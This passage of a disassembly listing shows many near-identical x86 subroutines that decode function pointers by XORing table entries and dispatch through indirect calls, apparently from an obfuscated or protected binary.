		mov	[ebp+var_20], 0F9h
		mov	[ebp+var_1C], 7Ah
		mov	[ebp+var_18], 0BCh
		mov	[ebp+var_14], 43h
		mov	[ebp+var_10], 14h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 14h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AA276
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AA276:				; CODE XREF: sub_4AA1E5+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AA1E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AA2E2	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9FCo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 84h
		mov	[ebp+var_2C], 72h
		mov	[ebp+var_28], 0FAh
		mov	[ebp+var_24], 0B6h
		mov	[ebp+var_20], 42h
		mov	[ebp+var_1C], 47h
		mov	[ebp+var_18], 0E7h
		mov	[ebp+var_14], 57h
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Ch
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AA373
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AA373:				; CODE XREF: sub_4AA2E2+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AA2E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AA3DF	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA00o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0F2h
		mov	[ebp+var_2C], 0ACh
		mov	[ebp+var_28], 24h
		mov	[ebp+var_24], 0BCh
		mov	[ebp+var_20], 0EAh
		mov	[ebp+var_1C], 51h
		mov	[ebp+var_18], 61h
		mov	[ebp+var_14], 0ECh
		mov	[ebp+var_10], 3
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 3
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AA470
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AA470:				; CODE XREF: sub_4AA3DF+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AA3DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AA4DC	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA04o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 51h
		mov	[ebp+var_2C], 0AAh
		mov	[ebp+var_28], 0DFh
		mov	[ebp+var_24], 91h
		mov	[ebp+var_20], 2Ch
		mov	[ebp+var_1C], 0C9h
		mov	[ebp+var_18], 0C1h
		mov	[ebp+var_14], 0BCh
		mov	[ebp+var_10], 0Fh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Fh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AA56D
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AA56D:				; CODE XREF: sub_4AA4DC+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AA4DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AA5D9	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA08o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0B3h
		mov	[ebp+var_2C], 4
		mov	[ebp+var_28], 8Dh
		mov	[ebp+var_24], 22h
		mov	[ebp+var_20], 0F8h
		mov	[ebp+var_1C], 5Bh
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], 90h
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Ch
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AA66A
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AA66A:				; CODE XREF: sub_4AA5D9+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AA5D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AA6D6	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA0Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0DEh
		mov	[ebp+var_2C], 0B5h
		mov	[ebp+var_28], 42h
		mov	[ebp+var_24], 86h
		mov	[ebp+var_20], 39h
		mov	[ebp+var_1C], 95h
		mov	[ebp+var_18], 10h
		mov	[ebp+var_14], 89h
		mov	[ebp+var_10], 9
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 9
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AA767
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AA767:				; CODE XREF: sub_4AA6D6+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AA6D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AA7D3	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA10o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 45h
		mov	[ebp+var_2C], 0C0h
		mov	[ebp+var_28], 12h
		mov	[ebp+var_24], 18h
		mov	[ebp+var_20], 12h
		mov	[ebp+var_1C], 6Dh
		mov	[ebp+var_18], 4Dh
		mov	[ebp+var_14], 11h
		mov	[ebp+var_10], 12h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 12h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AA864
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AA864:				; CODE XREF: sub_4AA7D3+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AA7D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AA8D0	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA14o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0FAh
		mov	[ebp+var_2C], 65h
		mov	[ebp+var_28], 0B9h
		mov	[ebp+var_24], 5
		mov	[ebp+var_20], 0CDh
		mov	[ebp+var_1C], 0BBh
		mov	[ebp+var_18], 0BFh
		mov	[ebp+var_14], 96h
		mov	[ebp+var_10], 7
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 7
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AA961
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AA961:				; CODE XREF: sub_4AA8D0+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AA8D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AA9CD	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA18o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 74h
		mov	[ebp+var_2C], 0C4h
		mov	[ebp+var_28], 42h
		mov	[ebp+var_24], 2
		mov	[ebp+var_20], 0A6h
		mov	[ebp+var_1C], 17h
		mov	[ebp+var_18], 2Dh
		mov	[ebp+var_14], 24h
		mov	[ebp+var_10], 0Eh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Eh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AAA5E
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AAA5E:				; CODE XREF: sub_4AA9CD+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AA9CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AAACA	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA1Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 8Dh
		mov	[ebp+var_2C], 6Fh
		mov	[ebp+var_28], 90h
		mov	[ebp+var_24], 60h
		mov	[ebp+var_20], 0BEh
		mov	[ebp+var_1C], 39h
		mov	[ebp+var_18], 9Ah
		mov	[ebp+var_14], 0B4h
		mov	[ebp+var_10], 3
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 3
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AAB5B
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AAB5B:				; CODE XREF: sub_4AAACA+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AAACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AABC7	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA20o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 5Dh
		mov	[ebp+var_2C], 68h
		mov	[ebp+var_28], 97h
		mov	[ebp+var_24], 0C0h
		mov	[ebp+var_20], 0EFh
		mov	[ebp+var_1C], 0CBh
		mov	[ebp+var_18], 0DDh
		mov	[ebp+var_14], 78h
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Ch
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AAC58
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AAC58:				; CODE XREF: sub_4AABC7+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
